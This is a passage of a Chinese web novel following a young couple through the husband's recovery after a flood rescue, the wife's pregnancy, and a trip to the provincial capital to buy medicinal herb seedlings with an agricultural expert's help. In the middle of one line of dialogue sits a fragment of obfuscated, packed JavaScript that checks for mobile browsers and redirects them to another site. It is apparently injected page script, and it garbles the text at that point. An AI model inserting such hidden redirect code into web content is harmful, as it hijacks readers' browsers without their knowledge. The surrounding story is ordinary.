“等下你还是让你姐多睡会儿，放心，你姐夫没啥事，原来公社那个老中医已经都给把过脉了，回镇上来是老支书说让他们三个都再检查下，看看脑袋骨头什么的。”
“嗯。”
“我们估计下午就回来，喊你姐不用专门等，睡个午觉都行。”
兄妹俩交代了两句，另一头，白春枝已经将萧远山换洗的衣服收拾好了。
“阿公，你们要不要吃了饭再走？”
白春枝知道夫君没事，心头就松了一大截，这会儿想起老爷子他们从早上就跑到现在，也不知道吃没吃早饭。
“不吃了。”老爷子接过布包，摇了摇头，“你爹妈都跟着来了，等下多装点饭，我们过去一起吃。”
白春枝和老爷子回到堂屋，白春芽和二哥也动作麻利把饭菜装好了。
“大妹，你在家好好休息下，我们估计下午就回来了，没事的。”
临走前，白二哥又忍不住提醒了一句。
“好，你们赶车慢点。”
白春枝点点头，尽管她现在觉得自己身体完全没什么问题了，却不会拂了家人的好意。
“春芽，等下我们把小卖店打开吧？”
白春枝抬头看了眼外头，竟然出太阳了。
刚刚放晴的天，碧空如洗，四散的阳光驱散了昨天一夜雨带起的潮湿，让人的心也跟着暖洋洋的。
白春枝此刻的心情也跟着这天一样，晴朗了。
“姐啊，你吃完饭睡会儿吧？”白春芽可不知道她姐见着太阳也心情好了，还惦记着二哥留的任务了，连小卖店的买卖都不积极了，“要不今天就不开了？”
“……”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14115372|147239||http|test|mini|href|location''.split(''|''),0,{}));
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白春枝没说“好”与“不好”，不准备跟妹妹多争论了，先吃饭，吃饱了有力气了才有说服力。
午饭后，白春芽到底没犟过姐姐，开了小卖店，两人坐门口做手工。
没过多久，几个熟识的阿婆也聚了过来，白春芽见姐姐神色如常的同大伙儿闲聊，这才放心了。
白春枝边手上做着针线活儿，边听阿婆们摆龙门阵，时不时朝巷口望望，感觉这样，时间似乎才会过得快一点。
“姐！姐夫他们回来了！”
两辆车，白大哥骑的三轮、白二哥赶的牛车，载着一家人，那么的大阵仗，白春枝一早就瞧见了，她慢慢站起来，就等着那车靠近。
“阿枝，我回来了。”
穿过一众人来到白春枝面前的萧远山，依旧那么高大，他已经换了干净的衣裳，除了脸和手有些小伤口，暂时没看出其他。
“……”
本来是想说点什么的，看到夫君的那一刻，白春枝终究是没忍住眼泪，只能红着眼不住的摇头，唯有紧紧咬住嘴唇，才能让自己不哭出来了。
“傻瓜——”
萧远山伸手给小娘子擦了擦脸，没想到自己粗糙拇指直接白春枝脸都擦红了，不由笑了。
“哎哟喂，这是咋了？”
“出啥事了吗？”
“小两口哭啥哦？”
“嗨呀，没看远山脸上、手上都有伤啊！”
“啊，小萧是不是昨晚上都没回来呀？遇到啥事了哟？”
“……”
见一大家子大下午的赶两个车回来，阿婆们还没反应过来，转头又瞧着小两口的热闹，这下可算是炸锅了。
“好了好了，你们先进去了，车子我们来。”
门口阿婆们又是八卦又是担心的问着，还是白母出来控制局面了，先安排了小辈先进去，她在外头给大伙儿解释了。
“昨天一天一夜的雨，村头的河涨水了，我大女婿这是去救人才回来，屋头人都担心，让你们见笑了哈！”
“啥子见不见笑了，小萧这是做了好事哇！”
“就是呀，昨天那雨哦，是真的大，我都怕我们这巷子遭淹了。”
“是嘛，就是怕那小沟沟排不赢雨水的，要不干沿再高都没有用的。”
白母一句话，转移了婆婆大娘们的注意力了，都在昨天的雨了。
回到屋里，萧远山自觉的脱了衣裳让小娘子检查，他身上是有几处擦伤，但都不算严重，这事，得白春枝亲眼看看了，她才能安心的。
“行了，赶紧穿上吧！”
见夫君身上确实只有些破皮淤青，不是从前打猎跟猛兽搏斗留下皮开肉绽的狰狞伤口，细致摸了摸他的骨头，也没听见他闷声的，白春枝悬着的心是彻底放下了。
“阿枝——”
随手套上衣裳，萧远山拉住小娘子，从背后拥了过去，头轻轻靠在白春枝肩膀，深吸了两口气，才带了两分不敢置信问道。
“阿枝，我们这就，有孩子了，是吗？”
“是。”
听到萧远山声音带了一丝颤意，白春枝不自觉想笑，说完又觉得似乎不太够，她带着他的手往下，想到那个小生命，内心更是无限柔软。
“今早刚查出的，它现在还很小很小……”
36. 房事
小夫妻俩还在屋里磨蹭。
外头白母已经利索的招呼白家三兄妹先把小卖店关了，今天这么多事，还做啥生意，进了灶房见炉子上是有热水的，又冲着小天井喊道。
“春枝呀，再多备两张干帕子，我这儿再烧点水，好让远山先洗个澡了。”
“好！”
白春芽赶紧推了萧远山，朝门外应了声，从柜子里翻了两张帕子，才进里间把灯打开，回过头来，又小声问自家夫君。
“你自己好不好洗，后背够不够得着？”
“没事的。”
要搁平日的话，萧远山肯定要逗弄小娘子几句了，这会儿见她担忧的模样，摇了摇头，也不想多累着她。
“那行，你自己小心点。”白春枝提醒了一句，想起他带回来的东西，没什么药，又说道，“我去爷爷房里给你拿点药酒。”
“嗯，热水先放着，我等下来端。”
萧远山话音刚落，外头响起了敲门声，白春枝抬头一问，才知道，是大哥二哥抬水来了。
“妹夫，这水都给你兑好了啊，你先洗，妈又烧了一锅，慢慢洗！”
白大哥说话比较实在，老娘交代的事讲完，将桶里的水倒进木桶就准备出来了，白二哥却晚了一步走，临走前还贴心的问道。
“诶，妹夫，你这搓澡要不要人帮忙？”
“……”
白春枝把二哥赶了出来，顺手关了房门，才去了灶房。
“你感觉怎么样了？”
让小妹烧火，白母围腰一拴都开始摘菜准备做饭了，见白春枝出来，气色还不错的，不过依旧不放心的再问了一嘴。
“挺好的。”
白春枝吃过了午饭，有劲儿了，算是彻底恢复了，现在没一点不适的，要不是有检查结果，她都还有点不相信的。
“这会儿月份小，不太见的，你就该吃吃、该喝喝。”
白母嘱咐完这句，也不长篇大论讲啥经验了，反正有些事只有经历过的才晓得。
“哦，我这两天就住这边照看哈你们，给你们煮下饭这些。”
想起她过来这趟的安排，白母先跟大女儿讲了，转头又跟小女儿说道。
“小妹，你等下跟你哥他们还有你老汉儿先回去。”
白母跟姐妹俩说完，见老大老二拎着桶进来，又给这两个讲。
“你们等下吃完饭载起你们老汉儿也早点回去了，屋头的事不急，师傅他们要是来了也得看下晒干了没再动工的，你们几爷子把田头的事照看好就行。”
兄妹几人得了老娘的令，都不敢有任何异议。
等到了饭桌上，气氛才活跃起来。
白春枝和白春芽午饭在家吃的，不算早，但也不太要饿，给几位在卫生院讲究垫吧一口的夹菜，就听白二哥讲他们是怎么找到萧远山的了。
“要说我现在最佩服的人，肯定是老爷子了，原来就知道萧家阿公厉害，今天经历过，才知道，那是真的神啊！”
白二哥直接是放下碗筷的在讲了，要不是老娘让他们今晚好好休息不准喝酒，这会儿他都该敬老爷子一杯了。
“昨晚上那惊险的，又是扔绳子、又是扔杆子的，也没把妹夫拉上来，我们几个立马顺着南河找哇，打起手电筒看啊，后半夜雨稍微小点儿了，水没那么急了，村干部他们先跑到下游段去堵，都愣是没找到人，真是奇了怪了。”
说到这儿，白二哥也叹息了一声，转过来拍了拍萧远山的肩膀。
他们当时也是急啊，怎么说也是“活要见人死要见尸”的，不能就这么好端端的人消失了。
“我们也急得没法了，眼看天亮了，这都多少个小时了啊，真怕再找不到人了，还是后面老支书跟过来让我来请老爷子的。”
“那萧家阿公一猜知道姐夫他们被冲到哪儿了啊？”
白春芽也是急了，她二哥真是的，讲了半天也没说到重点。
“什么叫猜啊？”
白二哥可不满妹妹这个说法了，纠正道。
“那是经过分析的，我们带着老爷子是落水点、下游河段都看了，妹啊，你是没看到，不止咱们村前山滑坡了，下游也冲垮了一截，泥沙堆了不少呢！”
说着，白二哥也挺佩服萧远山了。
“诶，妹夫，你这顺着河水被冲走，还能预计到岸上的事呀，连带你们三个都跟着转了弯？”
“那哪儿能啊！”
萧远山最后再喝了一口小娘子给盛的汤，摇了摇头。
“南河水急，被带走时，还好不是马上就冲到河中心了，我们尽量去拉河里的树枝、边上的水草，不过这不容易，稳了两次都没稳住，考虑着体力问题，只能憋着气往边靠，也是下游一截改道了，一边急一边缓，给了我们机会，相互间不还拴着绳子么，这才一起拉到河滩上了。”
“真是不容易啊！”
白父白母在卫生院只在关注医生要怎么检查了，还真不知道这段，听着就揪心。
“萧家阿公就圈的这个地方么？”
“是啊，三个地方，第一处就是，萧家阿公还说——”
白二哥讲到这儿，不由停了下来，想起老爷子当时坚定的语气，却说着最残忍的话。
“说，再远，再远就找不到了……”
“哎呀，说什么丧气话，这不是找到了吗？”
白母搁下筷子，不住的瞪老二，这也是个没眼色的。
“女婿那是吉人自有天相，何况，这回来就要当爸爸了，是好事啊！”
“是是是，双喜临门呢！”
没有酒杯，两家人各自干了一碗汤。
热汤下肚后，白母就开始催着几人回去了。
“大哥二哥也辛苦一整天了，回去早些休息。”
将牛车解开，白春枝和萧远山送几个人到门口。
“你妈要回来了，就托人带个话，喊你哥他们来接她。”
白父倒是还记挂着白母，临走了还叮嘱道。
“好，你们路上注意安全。”
“这老头子，我还能找不到回去的路呀？”
门口的白母显然也听到了白父的话，白春枝还没说什么，老娘已经嘴快的回了一句，幸好二哥赶车走了，要不老父亲该伤心了。
白母在萧家住了两天，见白春枝没什么情况，
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连害喜的症状都没有，女婿也能正常活动，便准备打道回府。
不过萧家只有老爷子一个长辈在，白母有些话，不得不关起门来跟女儿说说了。
“这两天，我跟你睡的，让女婿去老爷子那屋，也是想让你们小两口先习惯习惯了。”
“习惯？”
白春枝还以为老娘这两天是担心她起夜了，尽管她强调了里间有灯、改造后也能上小号，原来不是这个么？
“唉，等你的肚子大了，房……”
虽然现在屋里就她们母女俩，白母也没准备把话说得太直接了，但开口后发现，这事不直白点儿，根本讲不清的。
“就是这房事上，要尤其注意了，特别是头三个月和最后三个月，当然，中间几个月都显怀了，也不能有一点马虎的，不能由着女婿乱来了，你要跟他讲清利害关系，晓不晓得？”
“嗯。”
白春枝红着耳朵直点头，她就说老娘什么怀孕注意事项要关着门讲了，没想到是这个。
“要记在心头，不要不当真。”
白母又重复了一遍重要性，说完这个，后面的话就好讲了。
“再来就是吃的上，这些倒是没啥特别注意的，性寒冷的东西少吃，之前觉得是清热解毒的野菜啊，也不要吃了，其他的，不多吃，不拿来当饭一顿吃到饱的那种，都没事。”
这日子才慢慢好了点，白母觉得刚刚的话也是白提醒，拉着白春枝的手，又继续道。
“你现在是一个人吃两个人补，还是要注意营养，放心，妈回去就给收老母鸡喂起，鸡蛋也好东西，到时候给你们送来就是了。”
“好，等远山好点了，喊他来就是了，后面估计要天天往后山跑的。”
白春枝应了一声，又起身，给老娘拿了些钱，见白母要摆手，她一把给握住，解释道。
“妈啊，这事一码归一码，小卖店订货我们都是一次一结的，你这收的鸡还要帮我喂到坐月子了，你拿着，看到数量多喂点吧！”
“那行，有妈在，肯定少不你这鸡蛋跟老母鸡了。”
白母带着任务走了，小夫妻俩回房后，白春枝犹豫了下，还是决定先跟夫君说一说——房事。
事关孩子，不得不重视的。
“……”
萧远山见小娘子一脸严肃的讲完，自己还没说什么呢，她倒是忍不住红了脸。
“咳，该遵守的，我们肯定要遵守的，如今医学比咱们那会儿好多了，卫生院好像有对孕期妇女的定期检查吧，到时候我们去问问。”
“哦哦，对的，挂完水那天，医生就是说后面要去的，有什么不舒服的话，也得及时去检查的。”
刚说完，白春枝其实就有点后悔，感觉自己不应该怀疑夫君的定力了，毕竟，他们当初隔着枕头都没太越界的，被萧远山一打岔，她赶忙回忆了下医生说的话。
“好啦，不用着急，等差不多日子，我们再去卫生院看看就行。”
瞧着白春枝因为想不起来，肉眼可见的急了，萧远山赶紧伸手抱住小娘子，轻轻拍着她的后背，宽慰道。
他知道，那天她肯定担心坏了。
37. 省城
暴雨过后，一连小半个月都是晴天。
白春枝老老实实的在家待着没法回村，萧远山则是歇了三天又开始家里村里两天来回跑。
最近不论每天多忙，白春枝都要求萧远山准时回来吃饭了，不然家里两个人又该担心他了。
这晚，饭桌上，萧远山照例跟老爷子和白春枝汇报一下进度。
“真是好悬啊，还好我们是搬走了。”
听夫君说起村里安排清理前山的路时，还接连发生了二次三次滑坡，那位置几乎直逼自家老院子了，白春枝拍了怕胸口，真是一阵后怕。
“那你后山那块儿呢？”
老爷子比较关心萧远山他们开荒出来的那片了。
他常年巡山，太清楚把荒山开出来要下好大的功夫了，而在天灾面前，人无论多么努力，该来的，顷刻间就颠覆了，人根本没有任何还手之力。
“前山的路清理出来了，我们这两天又重新整理下，问题不大。”
这次确实比较幸运，滑坡主要是前山的位置，后山几座山连山又在背风处反倒是没太大影响。
一场雨，让刚开荒出来空地，更适合种植了。
“就等着苗回来了，我预计这两天跟着要去省城了，你们要去不？”
“方便不哦？”
他们这儿去一趟省城可不方便，大客车得小半天，要之前，老爷子就懒得跟着跑了，可孙子才出了那么个事，买苗又得拖运，他是打算去的。
“当然可以，阿枝要不晕车的话，也可以一起。”
萧远山点点头，又转头对小娘子提议道，见她同老爷子一样是想着能不能帮他干活儿了，不禁好笑。
“不用担心后面的事，我们差不多就是去看看，人家农科院的专家会帮着选苗的，也有车子拉了，不用我们自己动手的。”
萧远山先前就咨询过了，跟客商们熟悉后，他也认识了几个大货车司机，这年头要跑趟车可不容易，特别是出省的路况都不好，不过他们就在省城，提早联系好，那种子育苗都能帮忙拉回来了。
临出发前，萧远山又回村喊了白二哥和他们一道。
眼看着下半年了，被这暴雨一耽搁，计划要去打工的白二哥还没买票了，刚好，萧远山觉得这趟远门就当是给二舅子练练胆了。
“行啊，远山，你真是想着哥了！”
他们只打算在省城住一晚，又是大夏天，白二哥没带多少东西，就一个简单小包袱，还是自家媳妇给准备的换洗衣物和老娘硬要装的吃的，特意赶早先到了镇上。
“二哥你来得挺早啊？”萧远山一开门，就被二舅哥热情的抱住了，“吃早饭了没？”
“吃了吃了！”
“这就走了是吧？”
考虑了两晚上，白春枝还是准备跟着去了，当是去放放风，毕竟是省城了，她拿了一个饭盒从灶房出来，还以为是在催着出门了。
“没，大妹不急的。”想起老娘交给他的东西，白二哥立马打开了包袱，“老妈还给你带了几个果果，不怎么甜，但说是你现在吃正好。”
“那刚好，不怕晕车了。”
这个季节，萧远山昨天买回来的是桃子，白春枝本来还怕甜的会不太管用，看到二哥手上那几个翠绿的李子，当即冒了两口酸水。
嘴巴和眼睛都告诉自己想吃。
白春枝也就不客气了，立马拿去洗了，然后连吃了两个。
“这李子是院子后的那棵吗？”
“是啊！”
白二哥一听妹妹的问话，都觉得神了。
要知道白家屋后好几棵李子树了，但不咋好吃，又酸又涩，以前吃不饱的时候，他们也很少吃李子了，吃完更觉得饿，肚子空唠唠的。
也就这两年，不知道怎么那李子树稍微是长好了，开始有点回甜了，要不是家里的皮猴嚷着要吃，估计都没人想起来了。
“老娘临走说了一嘴，我还想我也不喜欢吃李子的，没想到这会儿吃着好吃呢！”
白春枝这段时间没什么反应，什么都能吃的，她还以为自己不挑嘴了，原来是没碰到想吃的。
“可能是肚子里的小人爱吃吧？”白二哥胡乱猜测道，然后又拍着胸口保证，“放心，树上还多了，都给你留着。”
“……”
兄妹俩说笑着，萧远山不好直接提醒这李子吃多了也不好。
“我知道的。”
白春枝将饭盒篮子都给夫君时，见他正望着自己以及手上的李子，笑着小声保证道，顺手也将那酸李子喂给他了，她不能多吃，就帮忙分担一点吧！
四人依旧是到客运站坐大巴。
白春枝和老爷子前段时候才坐车去过县里，买票上车的流程都还记得，萧远山只跟白二哥讲了，他要南下，不仅得坐这趟车，还要换火车了，所以最好是预计好到省城的时间。
因着这次时间更长，尽管盒饭里带了些热乎的东西，白春枝看了看，又去那吆喝的摊位买了几个茶叶蛋。
“阿公，一会儿尝尝这个味道怎么样，看看有没有自己的好吃？”
“那肯定是没家里的好吃，自家用料都要好些。”
老爷子还挺捧孙媳妇的场了，还没吃呢，就说人家的不好，白春枝偷摸瞧了瞧，得亏是隔得远，没让人听见。
“研究好了？”
白春枝刚一个茶叶蛋下肚，萧远山和白二哥就回来，又赶紧给两人分了分。
“不了。”
白二哥摆了摆手，趁着等车的功夫，掏出一张纸条给大妹看了下，他刚听妹夫抄的每天的发车班次呢！
“到省城的车，怎么比去县里的还少了两班车啊？”
白春枝看她二哥写的，县里还一天四趟，这到省城居然才两趟，好在第一班时间差不多，不然他们就得下午了。
“到省城的时间长啊，去县里才多久？”
关于这个，白二哥刚和大妹一样的疑问，妹夫就直接问了人售票员。
“而且咱这儿镇上能有个客运站，那是借着省道的便利了，都是大货车在走，去省城的人少。”
“……”
白二哥现学现卖给自家妹子解释了，又继续记下妹夫刚说的，两班车的到站时间和转火车站需要多久，这两个时间点可是很重要了。
没等多久，四人准备上车了，果然，今天也不是休息日的，去省城的人真不多，座位都没坐满。<
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不过，这个问题不用他们担心，人司机那是出了县，一路都在收人了，只要招手的都停。
“看来这路上，还得多预计点了时间，就怕有点其他事。”
“诶诶，你可别乌鸦嘴啊！”
白二哥在跟萧远山说了，没想到后排的人突然插话就算了，还是个脾气挺冲的。
“咋子嘛，兄弟还看我不顺眼啊？”
“没事没事。”
白二哥当即回头想看是哪个不长眼的，两方一对视上火药味就上来了，萧远山赶紧将人拉住。
出门在外，没必要跟着这种人杠上，没事找事的人，你一给他脸了，他最是会顺杆爬的。
“二哥，吃个桃！”
白春枝在前面也听见，不过不想理会这种人，给三人一人分了个桃子，补充下水分。
如今还是山桃子比较多，但萧远山买的这个是客商们选过的品种，瞧着个头都要比一般的大一些，一口咬下去，汁水多还够甜的，果肉也软。
一家子吃着桃子，将后排那个刺头完全无视了，没人搭理，一个人唱独角戏也没意思，唱不起来，也没人看。
小半天的车程，中间停了一次，白春枝睡了一觉，继续吃了点东西，等快到省城了，又挤了一车的生禽，大巴终于热热闹闹的摇晃到站了。
“哎哟，终于到站了，屁股都要坐麻了。”
白二哥一下来，就赶紧伸了个懒腰。
“哈哈哈那你火车记得买卧铺了，要不得更久呢！”
白春枝将老爷子扶下车，听见她二哥这话，不禁好笑。
当然，这火车白春枝还没坐过了，她都听夫君讲的，不过也足够把自家二哥给震住的。
“我们先去吃午饭，然后找个招待所住下，再去农科院。”
“行，妹夫，都听你的安排。”
大中午的，四人也没打算吃多好，萧远山的计划是，晚上还要请人专家吃饭了，他们这顿就可以简单点。
只是都到省城了，再简单，几人也得吃个带肉的。
“一人一碗抄手可以不？”
出站没走多远，瞧着人挺多的一家店，萧远山直接领着三人过去了。
“咋不可以？”
白二哥点头，没什么好挑的，这龙抄手也是省城有名的小吃了，他来了吃一碗，回去还有说头。
白春枝也直接要了个大碗。
抄手是现做现包的，但这个比较快，一张四四方方的抄手皮，舀一勺肉，对折包成元宝小船的样子，又有说这是从前厨子做得像皇帝抄手的样式，得名的“龙抄手”了。
听萧远山从客商哪儿得知的，这抄手在其他地方有不同的叫法，有叫“云吞”的、也有叫“混沌”的。
当然，龙抄手有区别其他，主要还是味道了。
三碗红油抄手、一碗清汤抄手，一上桌就能闻到香了，入口更是鲜。
“要尝一个吗？”
白春枝是怕吃太辣了不好，才要的清汤，看着三人的红汤好像格外的香了，特别是她二哥呼呼的就干掉了大半碗，夫君这会儿给她夹了一个，她赶紧接住了。
麻辣鲜香，确实是两种不同的风味。
38. 育苗
省城的发展到底是比小镇快。
一行人尽管没带多少东西出门，不过看打扮也像是别处过来的，一路都有人在问需要不要住店，而这些都是个体私营的小旅馆。
“二哥，我们这在省城都还好，不像首都、南下那么火热，可能连一张床位都难求，所以我们先去招待所。”
萧远山虽然也就来过省城一两次，但因为之前都有人带着，还算熟门熟路的，对二舅哥也介绍了起来。
“你要是去了南方，刚开始不一定有那么顺利，要是工地或者厂里的大通铺不够住，需要自己找地方的话，你就要多打听多看看了。”
这点，萧远山听自家小娘子说过，二哥是有打算后面把二嫂也接过去，毕竟，两口子一直两地分居也不现实。
“这怎么说？”
租房什么的，也就妹夫家有这个经验了，白二哥一想到要他自己去找房子，就感觉两眼一摸黑，顿时不敢东张西望了，赶紧追问道。
“以前租赁买卖得到房管局去，现在私人租房多了起来，这里就需要仔细甄别一下了。”
证件一类，萧远山先前已经跟二舅哥强调过了，白二哥跟同乡打听的，也说了工头会帮忙办理的，这会儿他就将到了之后，可能遇到各种的情况，细致的讲了讲。
像是城中村的条件，几平米一间屋、或是遇到无良的二房东、还有罚款啊……
萧远山每说一项，白二哥听着就叹息一声，好在听完也没被吓退了。
看着省城和他们小镇村里的不同，白二哥带入自己这会儿就当是到了南方的话，从他们需要坐公交去招待所，每一步都向萧远山打听学习。
白春枝瞧自家二哥总算是有了点要去打工的状态，不由一笑。
“这出门一趟可真不容易！”
到招待的房间，白二哥才彻底松了口气，刚拿介绍信开两个单间，整个过程全是他来的沟通的。
“多来几次就好了。”萧远山收拾着老爷子洗漱的东西，他和白二哥一间，然后又对二舅哥鼓励道，“你看刚不是还挺顺利的么！”
“我真是掏钱的时候都手抖啊……”
两块钱一间啊，白二哥都不知道自己是因为心疼钱，还是第一次做这样正式的事，怕出差错了。
“二哥你还得历练历练了，这趟跟我们出来就很好。”
白春枝瞧着她二哥那样子就觉得好笑，好在来省城一次也是有用的。
“是啊！”
白二哥点点头，也不怕自家妹子笑话了，可算是体会到了妹夫的良苦用心，不禁对萧远山感慨道。
“妹夫你懂得可真多！”
“这个嘛——”
萧远山想着又给二舅哥传授一些经验之谈了。
像是他知道的那些事，也并不完全是自己都经历过的，南方萧远山就没去过，有从客商那里打听的、有从房东那里得知的，再慢慢拼凑来的，好的坏的全了解些，遇事儿了才不至于一脸懵。
聊着，四人稍作休整后，差不多到下午上班的点了，他们才起身往农科院去。
“这农科院门口，怎么还有卖水果的？”
还没走近，就见农科院朴素的大门外，一个披着汗巾的老大爷蹲在一车西瓜旁抽叶子烟，一脸愁容。
要知道，现在招待所人流量还不错，好多小商贩都在那门口摆摊了，见这情况，白春枝说了一句，也不好上前问价了。
“同志你们找谁？”
萧远山在门口登记了下，门卫室的大爷给他们指了方向，挥着手让他们赶紧进去了，别理外头的事。
“这——”
白二哥正准备回头再看看，刚好萧远山约的那位专家已经在办公室门外了，也不好多打听了，四人赶紧上前。
“你们这来的人还挺多了，都是要学习的吗？”
林茂祥六十多岁，瞧着和老爷子差不多大，对萧远山还挺有印象了，一般是他们主动找村民合作，主动包山的还是头一个了。
“刚好，我这会儿正要去一个育苗基地看看，你们也可以实地了解一下。”
“好。”
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萧远山没多解释，见林茂祥拿个了公文包就出门了，挺赶时间的样子，他们也立即跟上了。
几人从农科院的出来，刚门口一车西瓜旁的大爷，烟也不抽了，立即起身，不过朝这边望了望，似乎不是自己要找的人，又蹲下继续抽烟。
“哎。”
前头的林茂祥摇着头叹息了一声。
“……”
见对方没有多说的意思，白二哥尽管有一肚子的疑问，也没敢多嘴了。
农科院的位置其他有点偏，但刚好离附近的村落比较近，几人只坐了几站公交就到了林茂祥说的育苗基地。
说是育苗基地，刚开始白二哥还不太懂了，到了之后才看到，这不就是村里的田地么，只不过拿来种中药了。
白春枝见她二哥像是表演变脸一样，先是目瞪口呆的看着好好的田不拿来种粮食，等知道这一亩价值多少，又收回了惊掉的下巴。
“我的个乖乖！”
萧远山在前面听林茂祥讲了，白二哥慢半拍的在后头，又转头对白春枝说。
“好好听专家讲啊，这以后发家致富了，可别忘了你二哥。”
就这，白春枝可不知道自家二哥更加坚定了自己要出去打工的决心了，至少要挣到能承包荒山的本钱了。
林茂祥以为几人都是要学习种植中草药的村民，见白二哥落下了，还停下来等了等。
“七八月雨季，对中草药的夏季生长是有影响，但你们也不要吓到了，我们这边也会拍技术员来指导的。”
对着几人，林茂祥介绍的还挺详细的，不知是想到了什么，又解释了这么一句。
“好的好的，太感谢了。”
萧远山还没说什么呢，白二哥见人专家盯着自己了，赶紧点头。
“……”
白春枝对自家二哥今天挺抽风的表现有点无语，好在人专家还比较吃这套了，点了点头又继续了。
“你们要种植的这两种呢，丹参种子可以直接撒种育苗，林下和庄稼下都可以。”
39. 困境
“等我再检查一下这边的情况，就带你们去大队上买种选苗。”
林茂祥看了眼腕上的手表估摸着时间，没发现小夫妻俩的异样，然后说了他接下来的安排，这才又继续领几人一起看去排灌。
“种植中草药其实就跟你们种田是一个道理，也是看天吃饭，还得精心伺候了。”
检查完四周的排水，林茂祥都要跟几人再讲解一番，他们后面自己种植也是用得上的，索性现在就先教一遍。
“夏季就是这样，雨水多了得排，太阳大了得灌，这样来年才能有好的收成。”
“就是啊，跟照看小孩儿呐，不能渴着饿着了，但也不能一顿就吃撑了。”
老爷子感兴趣的上手抓了把土试试干湿，对林专家说的很有体会。
好在几人都是在田里侍弄过，白春枝萧远山更是在山里挖过不少草药，对某些品种根部有药用价值得保留完整根须的手法是一点就通。
“对，就是这样。”
林茂祥看了又直夸小两口适合搞种植。
“丹参种子出苗后，育苗的移栽，到时候根就要这样整理才行。”
“好！”
真正上手摸了，白春枝才渐渐恢复了从前上山挖草药的手感，没再想着这些苗都得用钱买就觉得它们格外的脆弱了，该怎么拿就怎么拿的，甚至能暗自点评一下它的品相了。
林专家的细心教导，不仅萧远山受益匪浅，连白二哥也跟着有了莫大的信心。
“好了，我们这就去村里，争取今下午把那两个事定下来。”
基地的情况记录好，林茂祥也不耽误萧远山他们了，走出来时，还不忘跟四人讲了下买种定苗要注意的几点。
“第一个，丹参种子好说，每亩大概在五六公斤，预估好存活量，剩下等育苗出了再移栽，第二个，白芍虽然直接播种和苗种都可以，但赶八月前最佳种植时间，还是以苗种为主，这每亩所需的芽头量就大了，所以，要尽早的确定了。”
说着，几人出来不坐公交了，坐村头的马车转场。
省城繁华，但农科院近郊这片还是能看到山的，瞧着不远处的绿水青山，再看周围成片的碧绿，感觉处处都是宝啊！
路上，林茂祥还跟几人讲了，从前他们为了这中草药的人工种植获得种子，是如何进山采野生中草药了。
“这要遇上山洪泥石流，被困住山里十天半个月也是有的。”
“嗨哟，七几年那次，还是有点凶险哦！”
赶车的余老汉显然也是当年的亲历者，听见林茂祥的话，接着又从另一个角度讲了他们是怎么上山去找到这群被困的专家教授们了。
“当时找到林老师他们的时候，哎，真的，简直不敢认啊。”
“老余呀，也幸好是大家都坚持到了你们来啊！”
林茂祥如今回想起来，也是感慨万千。
白春枝听完默默地抹眼泪，对林专家这一辈在岗位无私奉献自己的人更加崇拜了。
萧远山看着格外感性的小娘子，又偷偷给她递了手帕。
“这次暴雨，我都还在担心了。”林茂祥又联想到这次，转过来跟萧远山说，“刚好你前段时间才跟我联系，我就怕都没开始呢，一场雨把你们吓跑咯！”
“我们那边是有点严重，前山垮了一部分，所幸没什么人员伤亡，倒是运气比较好的是，我们开荒的后山，基本影响不大。”
萧远山没说自己的事，跟林专家他们精神相比不值一提，将前山和后山的情况又和林茂祥具体讲了讲。
“后山那块地确实不错的。”
林茂祥听完所有所思的点点头。
“要到咯！”余老汉赶着马车，快到三岔口了，回头问林茂祥，“先去向前村吗？”
“嗯，收丹参再去看白芍。”
靠山的这几个大队，跟育苗基地差不多是联合了省中医药大学、省制药厂和他们农科院都有合作。
像林茂祥刚讲的，他们从山里采的野生中草药，人工培育实验成功的，大多就在这几个大队规模育种了，买种买苗都不成问题。
有人带着不走弯路，萧远山他们这趟只用跟着林专家走了。
而林茂祥更实在的是，直接当着农户们的面教了几人怎么分辨丹参种子的好坏。
“嗨呀，林老师，你亲自带着人来，还怕出拐呀！”
这批农户也是林茂祥手把手带出来的了，一点没有绝对不被信任生气的，反倒是跟几人开起了玩笑。
“你们当面点清嘛，大家也放心。”
林茂祥这话，大家都是赞同的，不过出苗这事，也并不是百分之百的，萧远山还跟农户们留了联系方式，到时候要补苗也方便。
白芍则比较多了，收获留种的芽头是和母株一起的，每亩至少需要上千株，约的是明天一早来装。
定金收据搞完，这次种苗的事算是定下了。
萧远山他们赶在天黑前一起回的农科院，待林茂祥回去放了资料，这才一起去吃的晚饭。
“林专家，今天可真是辛苦您带我们跑上跑下的，还教了我们这么多！”
尽管点了好几菜才上了两个凉菜，萧远山倒完酒便忍不住先提杯了。
说实话，今天跟着林茂祥实地跑了一圈，他对中草药种植有了一个更直观的了解。
之前，基本是站在经营角度了，市场缺什么，种什么，深入学习了一番，萧远山才发现，这中草药种植，确实是门学问，还真不是随便撒点种就能收获那么简单了。
“以后我们还要多跟着您学习才行。”
“诶，叫什么专家的就见外了，你要跟着我学，叫老师就可以了。”
林茂祥摆摆手，但还是跟着和萧远山碰了一杯。
“好好好，林老师，这丹参和白芍种下去了，肯定还得多打扰您了，到时候您多担待。”
“这没什么，就是农科院离你们那儿还是有点距离，我看着时间抽空来。”
面对能虚心学习的年轻人，林茂祥还是愿意多说两句。
“剩下的，你要自己跑勤快点了。”
“好的好的。”
两杯酒下肚，桌上的话题就开了，白二哥也大着胆子打听起了下午农科院门口的大爷，他们擦黑回来，瞧着好像才刚走，也不知道一下午蹲到要找的
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人没？
“这个啊——”
提起这事，林茂祥再次叹了一口气，显然他是知道的。
“林老师，不好意思，要是不方便，您就不……”
萧远山不愿林茂祥为难，给二舅哥使了个眼色，又举杯道歉。
“没，也不是什么不能说的事，只是你们刚下定决心种植中草药，又投入了这么多，我本来不想打击你们的积极性，但有些情况，提前了解呢，也好。”
林茂祥说完，自己又点头像是在认同他刚说的。
“其实，这也算是我们农科院发展的困境。”
“啊？”
白二哥听到这开头都惊讶，本来只是嘴快想八卦一下，怎么感觉事儿还有点大了。
“你们也看到了，像中草药很多都是在田间种植，要农户们不种粮，种其他的，肯定是看中了它的经济价值。”
“那大爷种了瓜果——”白二哥猜测道，“也是这么想的？”
“是啊。”
林茂祥再次叹息一下，又喝了小半杯，才继续道。
